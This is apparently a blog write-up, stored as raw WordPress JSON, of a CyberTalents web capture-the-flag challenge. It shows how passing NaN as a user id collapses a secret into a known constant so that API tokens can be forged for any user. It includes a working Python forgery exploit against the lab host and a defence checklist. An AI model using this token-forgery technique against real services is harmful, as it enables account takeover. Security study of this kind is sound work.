Platform:<\/strong> CyberTalents \u00b7 Category:<\/strong> Web \u00b7 Difficulty:<\/strong> Medium SocialPy is a fictional social network built with Flask. The flag lives in alice’s draft post<\/strong> (id 3, “My draft thoughts”<\/em>):<\/p>\n Draft access is enforced everywhere \u2014 the feed, profiles, comments, likes and The app exposes three authentication mechanisms:<\/p>\n The API token is the only path that doesn’t require a session. Its format is:<\/p>\n where the signature input is computed as:<\/p>\n The payload is attacker-controlled JSON: Now look closely at the validation logic:<\/p>\n The identity comes from Python’s The signature input is:<\/p>\n Here’s the IEEE-754 magic:<\/p>\n So if we submit The server recomputes the exact same value, the signatures match, and Result: The core flaw is mixing attacker-controlled data into a MAC without constraining its type<\/strong>. Three independent mistakes made it exploitable:<\/p>\n Defense checklist for API token \/ MAC designs:<\/strong><\/p>\n Writeup of a solved CyberTalents web challenge. All attack surface described here is part of the challenge’s intended vulnerable application.<\/em><\/p>\n","protected":false},"excerpt":{"rendered":" How a NaN literal in JSON collapsed a 1024-bit signing secret into a known constant, letting us forge an API token and read alice’s private draft post (CyberTalents Web CTF).<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_joinchat":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1404","post","type-post","status-publish","format-standard","hentry","category-webapplicationsecurity"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t
Goal:<\/strong> Read the flag from a private draft post by authenticating as another user.<\/p>\n
\nChallenge<\/h2>\n
This is a draft \u2013 only I can see it until I publish. Flag: {flag}\n<\/code><\/pre>\nGET \/api\/posts\/<id><\/code> all return 404<\/code> for drafts not owned by the requester. So the entire challenge reduces to one question: can we authenticate as alice?<\/strong><\/p>\nThe auth surface<\/h2>\n
\n
itsdangerous<\/code> HMAC-SHA1 over {\"user_id\": N}<\/code>, signed with a random per-process SECRET_KEY<\/code>.<\/li>\nhex(payload_json) + \".\" + sha256( f\"{inner}:{payload_json}\" )\n<\/code><\/pre>\ninner = (API_SECRET ^ user_secret) + user_id\n<\/code><\/pre>\n{\"sub\": <username>, \"uid\": <user_id>, \"iat\": <timestamp>}<\/code>.<\/p>\nuser = User.query.filter_by(username=username).first() # identity from \"sub\"\nexpected_sig = _compute_signature(app_sec, user_sec, user_id, payload_str)\n<\/code><\/pre>\nsub<\/code>, but uid<\/code> \u2014 an attacker-supplied value \u2014 is folded into the signature computation.<\/strong> The server’s own user_id<\/code> is never used. That split is the vulnerability.<\/p>\nThe bug: NaN collapses the secret<\/h2>\n
json.loads<\/code> (like most parsers) accepts the non-standard JSON literals NaN<\/code>, Infinity<\/code> and -Infinity<\/code>, producing float('nan')<\/code> and float('inf')<\/code>.<\/p>\ninner = (API_SECRET ^ user_secret) + uid\n<\/code><\/pre>\n\n
anything + NaN = NaN<\/code><\/li>\nanything + Infinity = Infinity<\/code><\/li>\n<\/ul>\n\"uid\": NaN<\/code>, the unknown<\/strong> 1024-bit value API_SECRET ^ user_secret<\/code> \u2014 the one secret we can never recover \u2014 collapses into a known constant<\/strong>. f\"{inner}\"<\/code> becomes the fixed string \"nan\"<\/code>:<\/p>\nsig = sha256((\"nan:\" + payload_str).encode()).hexdigest()\n<\/code><\/pre>\nvalidate_api_token<\/code> returns the user named in sub<\/code>. We can forge a valid token for any<\/strong> username \u2014 including alice.<\/p>\nExploit<\/h2>\n
import hashlib, json, time, requests\n\nBASE = \"http:\/\/<target>.cybertalentslabs.com\"\n\ndef forge(username):\n payload = '{\"sub\":\"%s\",\"uid\":NaN,\"iat\":%d}' % (username, int(time.time()))\n assert isinstance(json.loads(payload)[\"uid\"], float) # NaN parses\n sig = hashlib.sha256((\"nan:\" + payload).encode()).hexdigest()\n return payload.encode().hex() + \".\" + sig\n\ntoken = forge(\"alice\")\nheaders = {\"Authorization\": \"Bearer \" + token}\n\nme = requests.get(BASE + \"\/api\/auth\/me\", headers=headers)\nprint(me.json()) # alice's profile (id=1)\n\npost = requests.get(BASE + \"\/api\/posts\/3\", headers=headers)\nprint(post.json()[\"body\"]) # draft body containing the flag\n<\/code><\/pre>\n\/api\/auth\/me<\/code> returns alice’s profile, and GET \/api\/posts\/3<\/code> returns the draft:<\/p>\nFlag{QCFAZldjcFBZTnhzT3p0UFZpSURaZndTbEVSQWRlT2RraEIxbDlCcUpGNXQ4RT02MmY4ZDkyMGJlNWM3NjFk}\n<\/code><\/pre>\nWhy this worked (the real lesson)<\/h2>\n
\n
sub<\/code> determines who<\/em> you are, but uid<\/code> (also client-supplied) participates in the signature. The server should compute the signature over its own authoritative user.id<\/code> from the database, never from the request.<\/li>\nNaN<\/code>\/Infinity<\/code> are not valid JSON, but Python accepts them. A strict parser (or parse_constant=...<\/code> raising) would have turned the payload into a hard 400<\/code>.<\/li>\nuid<\/code> is dangerous in this design; the safe pattern is to never let the client influence a value that is added to a secret.<\/li>\n<\/ol>\n\n
uid<\/code>, reject non-string sub<\/code>).<\/li>\njson.loads(..., parse_constant=lambda x: _raise())<\/code> or a strict parser.<\/li>\nsha256(secret_material + data)<\/code> constructions, and never concatenate attacker bytes adjacent to secrets without length separation.<\/li>\n<\/ul>\nFiles<\/h2>\n
\n
exploit_nan.py<\/code> \u2014 the working exploit (forged alice token)<\/li>\nlocal_exp.py<\/code> \/ local_jwt_test.py<\/code> \u2014 local replicas used to confirm the JWT quirk and the NaN collapse<\/li>\n<\/ul>\n
\n